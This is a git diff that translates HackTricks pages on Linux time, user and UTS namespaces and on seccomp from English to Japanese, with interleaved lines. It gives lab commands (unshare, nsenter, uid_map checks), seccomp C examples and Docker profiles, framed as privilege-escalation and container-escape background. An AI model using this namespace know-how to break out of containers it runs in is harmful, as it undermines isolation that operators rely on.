2. **結果**：
- The exit of PID 1 in a new namespace leads to the cleaning of the `PIDNS_HASH_ADDING` flag. This results in the `alloc_pid` function failing to allocate a new PID when creating a new process, producing the "Cannot allocate memory" error.
- 新しいネームスペース内での PID 1 の終了は、`PIDNS_HASH_ADDING` フラグのクリーンアップを引き起こします。これにより、新しいプロセスを作成する際に `alloc_pid` 関数が新しい PID を割り当てることに失敗し、「メモリを割り当てることができません」というエラーが発生します。
3. **Solution**:
- The issue can be resolved by using the `-f` option with `unshare`. This option makes `unshare` fork a new process after creating the new PID namespace.
- Executing `%unshare -fp /bin/bash%` ensures that the `unshare` command itself becomes PID 1 in the new namespace. `/bin/bash` and its child processes are then safely contained within this new namespace, preventing the premature exit of PID 1 and allowing normal PID allocation.
3. **解決策**：
- この問題は、`unshare` に `-f` オプションを使用することで解決できます。このオプションは、`unshare` が新しい PID ネームスペースを作成した後に新しいプロセスをフォークします。
- `%unshare -fp /bin/bash%` を実行すると、`unshare` コマンド自体が新しいネームスペース内で PID 1 になります。これにより、`/bin/bash` とその子プロセスはこの新しいネームスペース内に安全に収容され、PID 1 の早期終了を防ぎ、通常の PID 割り当てを可能にします。
By ensuring that `unshare` runs with the `-f` flag, the new PID namespace is correctly maintained, allowing `/bin/bash` and its sub-processes to operate without encountering the memory allocation error.
`unshare` が `-f` フラグで実行されることを保証することで、新しい PID ネームスペースが正しく維持され、`/bin/bash` とそのサブプロセスがメモリ割り当てエラーに遭遇することなく動作できるようになります。
</details>
#### Docker
```bash
docker run -ti --name ubuntu1 -v /usr:/ubuntu1 ubuntu bash
```
### &#x20;Check which namespace is your process in
### &#x20;プロセスがどの名前空間にあるかを確認する
```bash
ls -l /proc/self/ns/time
lrwxrwxrwx 1 root root 0 Apr 4 21:16 /proc/self/ns/time -> 'time:[4026531834]'
```
### Find all Time namespaces
### すべてのタイムネームスペースを見つける
```bash
sudo find /proc -maxdepth 3 -type l -name time -exec readlink {} \; 2>/dev/null | sort -u
# Find the processes with an specific namespace
sudo find /proc -maxdepth 3 -type l -name time -exec ls -l {} \; 2>/dev/null | grep <ns-number>
```
### Enter inside a Time namespace
### タイムネームスペースに入る
```bash
nsenter -T TARGET_PID --pid /bin/bash
```
{{#include ../../../../banners/hacktricks-training.md}}

92
src/linux-hardening/privilege-escalation/docker-security/namespaces/user-namespace.md
View File

@ -1,103 +1,88 @@
# User Namespace
# ユーザー名前空間
{{#include ../../../../banners/hacktricks-training.md}}
## Basic Information
## 基本情報
A user namespace is a Linux kernel feature that **provides isolation of user and group ID mappings**, allowing each user namespace to have its **own set of user and group IDs**. This isolation enables processes running in different user namespaces to **have different privileges and ownership**, even if they share the same user and group IDs numerically.
ユーザー名前空間は、**ユーザーおよびグループIDマッピングの隔離を提供する**Linuxカーネルの機能であり、各ユーザー名前空間が**独自のユーザーおよびグループIDのセット**を持つことを可能にします。この隔離により、異なるユーザー名前空間で実行されているプロセスは、**同じユーザーおよびグループIDを数値的に共有していても、異なる特権と所有権を持つことができます**。
User namespaces are particularly useful in containerization, where each container should have its own independent set of user and group IDs, allowing for better security and isolation between containers and the host system.
ユーザー名前空間は、各コンテナが独自の独立したユーザーおよびグループIDのセットを持つべきコンテナ化に特に便利であり、コンテナとホストシステム間のセキュリティと隔離を向上させます。
### How it works:
### 仕組み:
1. When a new user namespace is created, it **starts with an empty set of user and group ID mappings**. This means that any process running in the new user namespace will **initially have no privileges outside of the namespace**.
2. ID mappings can be established between the user and group IDs in the new namespace and those in the parent (or host) namespace. This **allows processes in the new namespace to have privileges and ownership corresponding to user and group IDs in the parent namespace**. However, the ID mappings can be restricted to specific ranges and subsets of IDs, allowing for fine-grained control over the privileges granted to processes in the new namespace.
3. Within a user namespace, **processes can have full root privileges (UID 0) for operations inside the namespace**, while still having limited privileges outside the namespace. This allows **containers to run with root-like capabilities within their own namespace without having full root privileges on the host system**.
4. Processes can move between namespaces using the `setns()` system call or create new namespaces using the `unshare()` or `clone()` system calls with the `CLONE_NEWUSER` flag. When a process moves to a new namespace or creates one, it will start using the user and group ID mappings associated with that namespace.
1. 新しいユーザー名前空間が作成されると、**空のユーザーおよびグループIDマッピングのセットから開始します**。これは、新しいユーザー名前空間で実行されるプロセスが**最初は名前空間の外で特権を持たないことを意味します**。
2. 新しい名前空間のユーザーおよびグループIDと親（またはホスト）名前空間のID間でIDマッピングを確立できます。これにより、**新しい名前空間のプロセスが親名前空間のユーザーおよびグループIDに対応する特権と所有権を持つことができます**。ただし、IDマッピングは特定の範囲やIDのサブセットに制限でき、名前空間内のプロセスに付与される特権を細かく制御できます。
3. ユーザー名前空間内では、**プロセスは名前空間内の操作に対して完全なルート特権（UID 0）を持つことができます**が、名前空間の外では制限された特権を持ちます。これにより、**コンテナはホストシステム上で完全なルート特権を持たずに、自身の名前空間内でルートのような機能を持って実行できます**。
4. プロセスは`setns()`システムコールを使用して名前空間間を移動したり、`unshare()`または`clone()`システムコールを`CLONE_NEWUSER`フラグと共に使用して新しい名前空間を作成できます。プロセスが新しい名前空間に移動するか、新しい名前空間を作成すると、その名前空間に関連付けられたユーザーおよびグループIDマッピングを使用し始めます。
## Lab:
## ラボ:
### Create different Namespaces
### 異なる名前空間を作成する
#### CLI
```bash
sudo unshare -U [--mount-proc] /bin/bash
```
By mounting a new instance of the `/proc` filesystem if you use the param `--mount-proc`, you ensure that the new mount namespace has an **accurate and isolated view of the process information specific to that namespace**.
新しいインスタンスの `/proc` ファイルシステムを `--mount-proc` パラメータを使用してマウントすることで、新しいマウントネームスペースがそのネームスペースに特有のプロセス情報の**正確で孤立したビュー**を持つことを保証します。
<details>
<summary>Error: bash: fork: Cannot allocate memory</summary>
<summary>エラー: bash: fork: メモリを割り当てできません</summary>
When `unshare` is executed without the `-f` option, an error is encountered due to the way Linux handles new PID (Process ID) namespaces. The key details and the solution are outlined below:
`unshare` が `-f` オプションなしで実行されると、Linux が新しい PID (プロセス ID) ネームスペースを処理する方法のためにエラーが発生します。重要な詳細と解決策は以下の通りです：
1. **Problem Explanation**:
1. **問題の説明**：
- The Linux kernel allows a process to create new namespaces using the `unshare` system call. However, the process that initiates the creation of a new PID namespace (referred to as the "unshare" process) does not enter the new namespace; only its child processes do.
- Running `%unshare -p /bin/bash%` starts `/bin/bash` in the same process as `unshare`. Consequently, `/bin/bash` and its child processes are in the original PID namespace.
- The first child process of `/bin/bash` in the new namespace becomes PID 1. When this process exits, it triggers the cleanup of the namespace if there are no other processes, as PID 1 has the special role of adopting orphan processes. The Linux kernel will then disable PID allocation in that namespace.
- Linux カーネルは、プロセスが `unshare` システムコールを使用して新しいネームスペースを作成することを許可します。しかし、新しい PID ネームスペースの作成を開始するプロセス（「unshare」プロセスと呼ばれる）は新しいネームスペースに入らず、その子プロセスのみが入ります。
- `%unshare -p /bin/bash%` を実行すると、`unshare` と同じプロセスで `/bin/bash` が開始されます。その結果、`/bin/bash` とその子プロセスは元の PID ネームスペースに存在します。
- 新しいネームスペース内の `/bin/bash` の最初の子プロセスは PID 1 になります。このプロセスが終了すると、他にプロセスがない場合、ネームスペースのクリーンアップがトリガーされます。PID 1 は孤児プロセスを引き取る特別な役割を持っています。Linux カーネルはそのネームスペース内での PID 割り当てを無効にします。
2. **Consequence**:
2. **結果**：
- The exit of PID 1 in a new namespace leads to the cleaning of the `PIDNS_HASH_ADDING` flag. This results in the `alloc_pid` function failing to allocate a new PID when creating a new process, producing the "Cannot allocate memory" error.
- 新しいネームスペース内で PID 1 が終了すると、`PIDNS_HASH_ADDING` フラグがクリーニングされます。これにより、新しいプロセスを作成する際に `alloc_pid` 関数が新しい PID を割り当てることに失敗し、「メモリを割り当てできません」というエラーが発生します。
3. **Solution**:
- The issue can be resolved by using the `-f` option with `unshare`. This option makes `unshare` fork a new process after creating the new PID namespace.
- Executing `%unshare -fp /bin/bash%` ensures that the `unshare` command itself becomes PID 1 in the new namespace. `/bin/bash` and its child processes are then safely contained within this new namespace, preventing the premature exit of PID 1 and allowing normal PID allocation.
3. **解決策**：
- この問題は、`unshare` に `-f` オプションを使用することで解決できます。このオプションにより、`unshare` は新しい PID ネームスペースを作成した後に新しいプロセスをフォークします。
- `%unshare -fp /bin/bash%` を実行すると、`unshare` コマンド自体が新しいネームスペース内で PID 1 になります。これにより、`/bin/bash` とその子プロセスはこの新しいネームスペース内に安全に収容され、PID 1 の早期終了を防ぎ、正常な PID 割り当てを可能にします。
By ensuring that `unshare` runs with the `-f` flag, the new PID namespace is correctly maintained, allowing `/bin/bash` and its sub-processes to operate without encountering the memory allocation error.
`unshare` が `-f` フラグで実行されることを保証することで、新しい PID ネームスペースが正しく維持され、`/bin/bash` とそのサブプロセスがメモリ割り当てエラーに遭遇することなく動作できるようになります。
</details>
#### Docker
```bash
docker run -ti --name ubuntu1 -v /usr:/ubuntu1 ubuntu bash
```
ユーザー名前空間を使用するには、Dockerデーモンを**`--userns-remap=default`**で起動する必要があります（Ubuntu 14.04では、`/etc/default/docker`を変更し、次に`sudo service docker restart`を実行することでこれを行うことができます）
To use user namespace, Docker daemon needs to be started with **`--userns-remap=default`**(In ubuntu 14.04, this can be done by modifying `/etc/default/docker` and then executing `sudo service docker restart`)
### &#x20;Check which namespace is your process in
### &#x20;プロセスがどの名前空間にあるかを確認する
```bash
ls -l /proc/self/ns/user
lrwxrwxrwx 1 root root 0 Apr 4 20:57 /proc/self/ns/user -> 'user:[4026531837]'
```
It's possible to check the user map from the docker container with:
Dockerコンテナからユーザーマップを確認することができます:
```bash
cat /proc/self/uid_map
0 0 4294967295 --> Root is root in host
0 231072 65536 --> Root is 231072 userid in host
0 0 4294967295 --> Root is root in host
0 231072 65536 --> Root is 231072 userid in host
```
Or from the host with:
ホストからは次のように：
```bash
cat /proc/<pid>/uid_map
```
### Find all User namespaces
### すべてのユーザー名前空間を見つける
```bash
sudo find /proc -maxdepth 3 -type l -name user -exec readlink {} \; 2>/dev/null | sort -u
# Find the processes with an specific namespace
sudo find /proc -maxdepth 3 -type l -name user -exec ls -l {} \; 2>/dev/null | grep <ns-number>
```
### Enter inside a User namespace
### ユーザー名前空間に入る
```bash
nsenter -U TARGET_PID --pid /bin/bash
```
また、**ルートでなければ他のプロセスネームスペースに入ることはできません**。そして、**ディスクリプタ**がそれを指していない限り（例えば `/proc/self/ns/user`）、他のネームスペースに**入ることはできません**。
Also, you can only **enter in another process namespace if you are root**. And you **cannot** **enter** in other namespace **without a descriptor** pointing to it (like `/proc/self/ns/user`).
### Create new User namespace (with mappings)
### 新しいユーザーネームスペースを作成する（マッピング付き）
```bash
unshare -U [--map-user=<uid>|<name>] [--map-group=<gid>|<name>] [--map-root-user] [--map-current-user]
```
@ -111,16 +96,14 @@ nobody@ip-172-31-28-169:/home/ubuntu$ #Check how the user is nobody
ps -ef | grep bash # The user inside the host is still root, not nobody
root 27756 27755 0 21:11 pts/10 00:00:00 /bin/bash
```
### Recovering Capabilities
In the case of user namespaces, **when a new user namespace is created, the process that enters the namespace is granted a full set of capabilities within that namespace**. These capabilities allow the process to perform privileged operations such as **mounting** **filesystems**, creating devices, or changing ownership of files, but **only within the context of its user namespace**.
ユーザー名前空間の場合、**新しいユーザー名前空間が作成されると、その名前空間に入るプロセスには完全な権限のセットが付与されます**。これらの権限により、プロセスは**ファイルシステムのマウント**、デバイスの作成、ファイルの所有権の変更などの特権操作を実行できますが、**そのユーザー名前空間のコンテキスト内でのみ**実行できます。
For example, when you have the `CAP_SYS_ADMIN` capability within a user namespace, you can perform operations that typically require this capability, like mounting filesystems, but only within the context of your user namespace. Any operations you perform with this capability won't affect the host system or other namespaces.
例えば、ユーザー名前空間内で`CAP_SYS_ADMIN`権限を持っている場合、ファイルシステムのマウントなど、この権限を通常必要とする操作を実行できますが、あなたのユーザー名前空間のコンテキスト内でのみです。この権限を使用して実行する操作は、ホストシステムや他の名前空間には影響を与えません。
> [!WARNING]
> Therefore, even if getting a new process inside a new User namespace **will give you all the capabilities back** (CapEff: 000001ffffffffff), you actually can **only use the ones related to the namespace** (mount for example) but not every one. So, this on its own is not enough to escape from a Docker container.
> したがって、新しいユーザー名前空間内に新しいプロセスを取得することが**すべての権限を取り戻すことになります**（CapEff: 000001ffffffffff）としても、実際には**名前空間に関連するもののみを使用できます**（例えばマウント）が、すべての権限を使用できるわけではありません。したがって、これだけではDockerコンテナから脱出するには不十分です。
```bash
# There are the syscalls that are filtered after changing User namespace with:
unshare -UmCpf bash
@ -144,5 +127,4 @@ Probando: 0x139 . . . Error
Probando: 0x140 . . . Error
Probando: 0x141 . . . Error
```
{{#include ../../../../banners/hacktricks-training.md}}

58
src/linux-hardening/privilege-escalation/docker-security/namespaces/uts-namespace.md
View File

@ -2,77 +2,67 @@
{{#include ../../../../banners/hacktricks-training.md}}
## Basic Information
## 基本情報
A UTS (UNIX Time-Sharing System) namespace is a Linux kernel feature that provides i**solation of two system identifiers**: the **hostname** and the **NIS** (Network Information Service) domain name. This isolation allows each UTS namespace to have its **own independent hostname and NIS domain name**, which is particularly useful in containerization scenarios where each container should appear as a separate system with its own hostname.
UTS (UNIX Time-Sharing System) 名前空間は、**2つのシステム識別子の隔離**を提供するLinuxカーネルの機能です：**ホスト名**と**NIS** (Network Information Service) ドメイン名。この隔離により、各UTS名前空間は**独自のホスト名とNISドメイン名**を持つことができ、特に各コンテナが独自のホスト名を持つ別々のシステムとして表示されるべきコンテナ化シナリオで便利です。
### How it works:
### 仕組み：
1. When a new UTS namespace is created, it starts with a **copy of the hostname and NIS domain name from its parent namespace**. This means that, at creation, the new namespace s**hares the same identifiers as its parent**. However, any subsequent changes to the hostname or NIS domain name within the namespace will not affect other namespaces.
2. Processes within a UTS namespace **can change the hostname and NIS domain name** using the `sethostname()` and `setdomainname()` system calls, respectively. These changes are local to the namespace and do not affect other namespaces or the host system.
3. Processes can move between namespaces using the `setns()` system call or create new namespaces using the `unshare()` or `clone()` system calls with the `CLONE_NEWUTS` flag. When a process moves to a new namespace or creates one, it will start using the hostname and NIS domain name associated with that namespace.
1. 新しいUTS名前空間が作成されると、**親名前空間からホスト名とNISドメイン名のコピー**で始まります。これは、作成時に新しい名前空間が**親と同じ識別子を共有する**ことを意味します。しかし、名前空間内でのホスト名やNISドメイン名へのその後の変更は、他の名前空間には影響しません。
2. UTS名前空間内のプロセスは、`sethostname()`および`setdomainname()`システムコールを使用して、それぞれホスト名とNISドメイン名を**変更することができます**。これらの変更は名前空間にローカルであり、他の名前空間やホストシステムには影響しません。
3. プロセスは、`setns()`システムコールを使用して名前空間間を移動するか、`unshare()`または`clone()`システムコールを使用して`CLONE_NEWUTS`フラグで新しい名前空間を作成できます。プロセスが新しい名前空間に移動するか、作成すると、その名前空間に関連付けられたホスト名とNISドメイン名を使用し始めます。
## Lab:
## ラボ：
### Create different Namespaces
### 異なる名前空間を作成する
#### CLI
```bash
sudo unshare -u [--mount-proc] /bin/bash
```
By mounting a new instance of the `/proc` filesystem if you use the param `--mount-proc`, you ensure that the new mount namespace has an **accurate and isolated view of the process information specific to that namespace**.
新しいインスタンスの `/proc` ファイルシステムを `--mount-proc` パラメータを使用してマウントすることで、新しいマウントネームスペースがそのネームスペースに特有のプロセス情報の**正確で孤立したビュー**を持つことを保証します。
<details>
<summary>Error: bash: fork: Cannot allocate memory</summary>
<summary>エラー: bash: fork: メモリを割り当てることができません</summary>
When `unshare` is executed without the `-f` option, an error is encountered due to the way Linux handles new PID (Process ID) namespaces. The key details and the solution are outlined below:
`unshare` が `-f` オプションなしで実行されると、Linux が新しい PID (プロセス ID) ネームスペースを処理する方法のためにエラーが発生します。重要な詳細と解決策は以下の通りです：
1. **Problem Explanation**:
1. **問題の説明**：
- The Linux kernel allows a process to create new namespaces using the `unshare` system call. However, the process that initiates the creation of a new PID namespace (referred to as the "unshare" process) does not enter the new namespace; only its child processes do.
- Running `%unshare -p /bin/bash%` starts `/bin/bash` in the same process as `unshare`. Consequently, `/bin/bash` and its child processes are in the original PID namespace.
- The first child process of `/bin/bash` in the new namespace becomes PID 1. When this process exits, it triggers the cleanup of the namespace if there are no other processes, as PID 1 has the special role of adopting orphan processes. The Linux kernel will then disable PID allocation in that namespace.
- Linux カーネルはプロセスが `unshare` システムコールを使用して新しいネームスペースを作成することを許可します。しかし、新しい PID ネームスペースの作成を開始するプロセス（「unshare」プロセスと呼ばれる）は新しいネームスペースに入らず、その子プロセスのみが入ります。
- `%unshare -p /bin/bash%` を実行すると、`unshare` と同じプロセスで `/bin/bash` が開始されます。その結果、`/bin/bash` とその子プロセスは元の PID ネームスペースに存在します。
- 新しいネームスペース内の `/bin/bash` の最初の子プロセスは PID 1 になります。このプロセスが終了すると、他にプロセスがない場合、ネームスペースのクリーンアップがトリガーされます。PID 1 は孤児プロセスを引き取る特別な役割を持っています。Linux カーネルはそのネームスペース内での PID 割り当てを無効にします。
2. **Consequence**:
2. **結果**：
- The exit of PID 1 in a new namespace leads to the cleaning of the `PIDNS_HASH_ADDING` flag. This results in the `alloc_pid` function failing to allocate a new PID when creating a new process, producing the "Cannot allocate memory" error.
- 新しいネームスペース内での PID 1 の終了は `PIDNS_HASH_ADDING` フラグのクリーンアップを引き起こします。これにより、新しいプロセスを作成する際に `alloc_pid` 関数が新しい PID を割り当てることに失敗し、「メモリを割り当てることができません」というエラーが発生します。
3. **Solution**:
- The issue can be resolved by using the `-f` option with `unshare`. This option makes `unshare` fork a new process after creating the new PID namespace.
- Executing `%unshare -fp /bin/bash%` ensures that the `unshare` command itself becomes PID 1 in the new namespace. `/bin/bash` and its child processes are then safely contained within this new namespace, preventing the premature exit of PID 1 and allowing normal PID allocation.
3. **解決策**：
- この問題は `unshare` に `-f` オプションを使用することで解決できます。このオプションは、`unshare` が新しい PID ネームスペースを作成した後に新しいプロセスをフォークします。
- `%unshare -fp /bin/bash%` を実行すると、`unshare` コマンド自体が新しいネームスペース内で PID 1 になります。これにより、`/bin/bash` とその子プロセスはこの新しいネームスペース内に安全に収容され、PID 1 の早期終了を防ぎ、通常の PID 割り当てを可能にします。
By ensuring that `unshare` runs with the `-f` flag, the new PID namespace is correctly maintained, allowing `/bin/bash` and its sub-processes to operate without encountering the memory allocation error.
`unshare` が `-f` フラグで実行されることを保証することで、新しい PID ネームスペースが正しく維持され、`/bin/bash` とそのサブプロセスがメモリ割り当てエラーに遭遇することなく動作できるようになります。
</details>
#### Docker
```bash
docker run -ti --name ubuntu1 -v /usr:/ubuntu1 ubuntu bash
```
### &#x20;Check which namespace is your process in
### &#x20;プロセスがどの名前空間にあるかを確認する
```bash
ls -l /proc/self/ns/uts
lrwxrwxrwx 1 root root 0 Apr 4 20:49 /proc/self/ns/uts -> 'uts:[4026531838]'
```
### Find all UTS namespaces
### すべてのUTS名前空間を見つける
```bash
sudo find /proc -maxdepth 3 -type l -name uts -exec readlink {} \; 2>/dev/null | sort -u
# Find the processes with an specific namespace
sudo find /proc -maxdepth 3 -type l -name uts -exec ls -l {} \; 2>/dev/null | grep <ns-number>
```
### Enter inside an UTS namespace
### UTS ネームスペースに入る
```bash
nsenter -u TARGET_PID --pid /bin/bash
```
{{#include ../../../../banners/hacktricks-training.md}}

160
src/linux-hardening/privilege-escalation/docker-security/seccomp.md
View File

@ -2,18 +2,17 @@
{{#include ../../../banners/hacktricks-training.md}}
## Basic Information
## 基本情報
**Seccomp**, standing for Secure Computing mode, is a security feature of the **Linux kernel designed to filter system calls**. It restricts processes to a limited set of system calls (`exit()`, `sigreturn()`, `read()`, and `write()` for already-open file descriptors). If a process tries to call anything else, it gets terminated by the kernel using SIGKILL or SIGSYS. This mechanism doesn't virtualize resources but isolates the process from them.
**Seccomp**（セキュアコンピューティングモードの略）は、**Linuxカーネルのシステムコールをフィルタリングするためのセキュリティ機能**です。これは、プロセスを限られたセットのシステムコール（既にオープンしているファイルディスクリプタに対する`exit()`、`sigreturn()`、`read()`、および`write()`）に制限します。プロセスが他のシステムコールを呼び出そうとすると、カーネルによってSIGKILLまたはSIGSYSで終了されます。このメカニズムはリソースを仮想化するのではなく、プロセスをそれらから隔離します。
There are two ways to activate seccomp: through the `prctl(2)` system call with `PR_SET_SECCOMP`, or for Linux kernels 3.17 and above, the `seccomp(2)` system call. The older method of enabling seccomp by writing to `/proc/self/seccomp` has been deprecated in favor of `prctl()`.
seccompを有効にする方法は2つあります：`PR_SET_SECCOMP`を使用した`prctl(2)`システムコール、またはLinuxカーネル3.17以降の場合は`seccomp(2)`システムコールです。`/proc/self/seccomp`に書き込む古い方法は、`prctl()`に取って代わられました。
An enhancement, **seccomp-bpf**, adds the capability to filter system calls with a customizable policy, using Berkeley Packet Filter (BPF) rules. This extension is leveraged by software such as OpenSSH, vsftpd, and the Chrome/Chromium browsers on Chrome OS and Linux for flexible and efficient syscall filtering, offering an alternative to the now unsupported systrace for Linux.
拡張機能である**seccomp-bpf**は、Berkeley Packet Filter（BPF）ルールを使用してカスタマイズ可能なポリシーでシステムコールをフィルタリングする機能を追加します。この拡張は、OpenSSH、vsftpd、Chrome OSおよびLinux上のChrome/Chromiumブラウザなどのソフトウェアによって利用され、柔軟で効率的なシステムコールフィルタリングを提供し、現在はサポートされていないLinux用のsystraceの代替手段を提供します。
### **Original/Strict Mode**
In this mode Seccomp **only allow the syscalls** `exit()`, `sigreturn()`, `read()` and `write()` to already-open file descriptors. If any other syscall is made, the process is killed using SIGKILL
### **オリジナル/厳格モード**
このモードでは、Seccompは**`exit()`、`sigreturn()`、`read()`、および`write()`**のシステムコールのみを既にオープンしているファイルディスクリプタに対して許可します。他のシステムコールが行われると、プロセスはSIGKILLで終了されます。
```c:seccomp_strict.c
#include <fcntl.h>
#include <stdio.h>
@ -27,29 +26,27 @@ In this mode Seccomp **only allow the syscalls** `exit()`, `sigreturn()`, `read(
int main(int argc, char **argv)
{
int output = open("output.txt", O_WRONLY);
const char *val = "test";
int output = open("output.txt", O_WRONLY);
const char *val = "test";
//enables strict seccomp mode
printf("Calling prctl() to set seccomp strict mode...\n");
prctl(PR_SET_SECCOMP, SECCOMP_MODE_STRICT);
//enables strict seccomp mode
printf("Calling prctl() to set seccomp strict mode...\n");
prctl(PR_SET_SECCOMP, SECCOMP_MODE_STRICT);
//This is allowed as the file was already opened
printf("Writing to an already open file...\n");
write(output, val, strlen(val)+1);
//This is allowed as the file was already opened
printf("Writing to an already open file...\n");
write(output, val, strlen(val)+1);
//This isn't allowed
printf("Trying to open file for reading...\n");
int input = open("output.txt", O_RDONLY);
//This isn't allowed
printf("Trying to open file for reading...\n");
int input = open("output.txt", O_RDONLY);
printf("You will not see this message--the process will be killed first\n");
printf("You will not see this message--the process will be killed first\n");
}
```
### Seccomp-bpf
This mode allows **filtering of system calls using a configurable policy** implemented using Berkeley Packet Filter rules.
このモードは、**Berkeley Packet Filter ルールを使用して実装された構成可能なポリシーを使用してシステムコールをフィルタリングすることを許可します**。
```c:seccomp_bpf.c
#include <seccomp.h>
#include <unistd.h>
@ -60,99 +57,88 @@ This mode allows **filtering of system calls using a configurable policy** imple
//gcc seccomp_bpf.c -o seccomp_bpf -lseccomp
void main(void) {
/* initialize the libseccomp context */
scmp_filter_ctx ctx = seccomp_init(SCMP_ACT_KILL);
/* initialize the libseccomp context */
scmp_filter_ctx ctx = seccomp_init(SCMP_ACT_KILL);
/* allow exiting */
printf("Adding rule : Allow exit_group\n");
seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(exit_group), 0);
/* allow exiting */
printf("Adding rule : Allow exit_group\n");
seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(exit_group), 0);
/* allow getting the current pid */
//printf("Adding rule : Allow getpid\n");
//seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(getpid), 0);
/* allow getting the current pid */
//printf("Adding rule : Allow getpid\n");
//seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(getpid), 0);
printf("Adding rule : Deny getpid\n");
seccomp_rule_add(ctx, SCMP_ACT_ERRNO(EBADF), SCMP_SYS(getpid), 0);
/* allow changing data segment size, as required by glibc */
printf("Adding rule : Allow brk\n");
seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(brk), 0);
printf("Adding rule : Deny getpid\n");
seccomp_rule_add(ctx, SCMP_ACT_ERRNO(EBADF), SCMP_SYS(getpid), 0);
/* allow changing data segment size, as required by glibc */
printf("Adding rule : Allow brk\n");
seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(brk), 0);
/* allow writing up to 512 bytes to fd 1 */
printf("Adding rule : Allow write upto 512 bytes to FD 1\n");
seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(write), 2,
SCMP_A0(SCMP_CMP_EQ, 1),
SCMP_A2(SCMP_CMP_LE, 512));
/* allow writing up to 512 bytes to fd 1 */
printf("Adding rule : Allow write upto 512 bytes to FD 1\n");
seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(write), 2,
SCMP_A0(SCMP_CMP_EQ, 1),
SCMP_A2(SCMP_CMP_LE, 512));
/* if writing to any other fd, return -EBADF */
printf("Adding rule : Deny write to any FD except 1 \n");
seccomp_rule_add(ctx, SCMP_ACT_ERRNO(EBADF), SCMP_SYS(write), 1,
SCMP_A0(SCMP_CMP_NE, 1));
/* if writing to any other fd, return -EBADF */
printf("Adding rule : Deny write to any FD except 1 \n");
seccomp_rule_add(ctx, SCMP_ACT_ERRNO(EBADF), SCMP_SYS(write), 1,
SCMP_A0(SCMP_CMP_NE, 1));
/* load and enforce the filters */
printf("Load rules and enforce \n");
seccomp_load(ctx);
seccomp_release(ctx);
//Get the getpid is denied, a weird number will be returned like
//this process is -9
printf("this process is %d\n", getpid());
/* load and enforce the filters */
printf("Load rules and enforce \n");
seccomp_load(ctx);
seccomp_release(ctx);
//Get the getpid is denied, a weird number will be returned like
//this process is -9
printf("this process is %d\n", getpid());
}
```
## DockerにおけるSeccomp
## Seccomp in Docker
**Seccomp-bpf** is supported by **Docker** to restrict the **syscalls** from the containers effectively decreasing the surface area. You can find the **syscalls blocked** by **default** in [https://docs.docker.com/engine/security/seccomp/](https://docs.docker.com/engine/security/seccomp/) and the **default seccomp profile** can be found here [https://github.com/moby/moby/blob/master/profiles/seccomp/default.json](https://github.com/moby/moby/blob/master/profiles/seccomp/default.json).\
You can run a docker container with a **different seccomp** policy with:
**Seccomp-bpf**は、**Docker**によってサポートされており、コンテナからの**syscalls**を制限することで、攻撃面を効果的に減少させます。**デフォルト**でブロックされている**syscalls**は[https://docs.docker.com/engine/security/seccomp/](https://docs.docker.com/engine/security/seccomp/)で確認でき、**デフォルトのseccompプロファイル**はここで見つけることができます[https://github.com/moby/moby/blob/master/profiles/seccomp/default.json](https://github.com/moby/moby/blob/master/profiles/seccomp/default.json)。\
異なるseccompポリシーでdockerコンテナを実行するには、次のようにします:
```bash
docker run --rm \
-it \
--security-opt seccomp=/path/to/seccomp/profile.json \
hello-world
-it \
--security-opt seccomp=/path/to/seccomp/profile.json \
hello-world
```
If you want for example to **forbid** a container of executing some **syscall** like `uname` you could download the default profile from [https://github.com/moby/moby/blob/master/profiles/seccomp/default.json](https://github.com/moby/moby/blob/master/profiles/seccomp/default.json) and just **remove the `uname` string from the list**.\
If you want to make sure that **some binary doesn't work inside a a docker container** you could use strace to list the syscalls the binary is using and then forbid them.\
In the following example the **syscalls** of `uname` are discovered:
コンテナが `uname` のような **syscall** を実行することを **禁止** したい場合は、[https://github.com/moby/moby/blob/master/profiles/seccomp/default.json](https://github.com/moby/moby/blob/master/profiles/seccomp/default.json) からデフォルトプロファイルをダウンロードし、リストから **`uname` 文字列を削除** するだけです。\
**dockerコンテナ内で特定のバイナリが動作しないことを確認** したい場合は、straceを使用してバイナリが使用しているsyscallsをリストし、それらを禁止することができます。\
次の例では、`uname` の **syscalls** が発見されます：
```bash
docker run -it --security-opt seccomp=default.json modified-ubuntu strace uname
```
> [!NOTE]
> If you are using **Docker just to launch an application**, you can **profile** it with **`strace`** and **just allow the syscalls** it needs
> アプリケーションを起動するために**Dockerを使用しているだけ**の場合、**`strace`**で**プロファイル**を作成し、必要なシステムコールのみを**許可**できます。
### Example Seccomp policy
### 例 Seccomp ポリシー
[Example from here](https://sreeninet.wordpress.com/2016/03/06/docker-security-part-2docker-engine/)
To illustrate Seccomp feature, let’s create a Seccomp profile disabling “chmod” system call as below.
[こちらからの例](https://sreeninet.wordpress.com/2016/03/06/docker-security-part-2docker-engine/)
Seccomp機能を示すために、以下のように「chmod」システムコールを無効にするSeccompプロファイルを作成しましょう。
```json
{
"defaultAction": "SCMP_ACT_ALLOW",
"syscalls": [
{
"name": "chmod",
"action": "SCMP_ACT_ERRNO"
}
]
"defaultAction": "SCMP_ACT_ALLOW",
"syscalls": [
{
"name": "chmod",
"action": "SCMP_ACT_ERRNO"
}
]
}
```
In the above profile, we have set default action to “allow” and created a black list to disable “chmod”. To be more secure, we can set default action to drop and create a white list to selectively enable system calls.\
Following output shows the “chmod” call returning error because its disabled in the seccomp profile
上記のプロファイルでは、デフォルトのアクションを「allow」に設定し、「chmod」を無効にするためのブラックリストを作成しました。より安全にするために、デフォルトのアクションをドロップに設定し、システムコールを選択的に有効にするためのホワイトリストを作成できます。\
以下の出力は、「chmod」コールがseccompプロファイルで無効になっているため、エラーを返すことを示しています。
```bash
$ docker run --rm -it --security-opt seccomp:/home/smakam14/seccomp/profile.json busybox chmod 400 /etc/hosts
chmod: /etc/hosts: Operation not permitted
```
Following output shows the “docker inspect” displaying the profile:
次の出力は、プロファイルを表示する“docker inspect”を示しています：
```json
"SecurityOpt": [
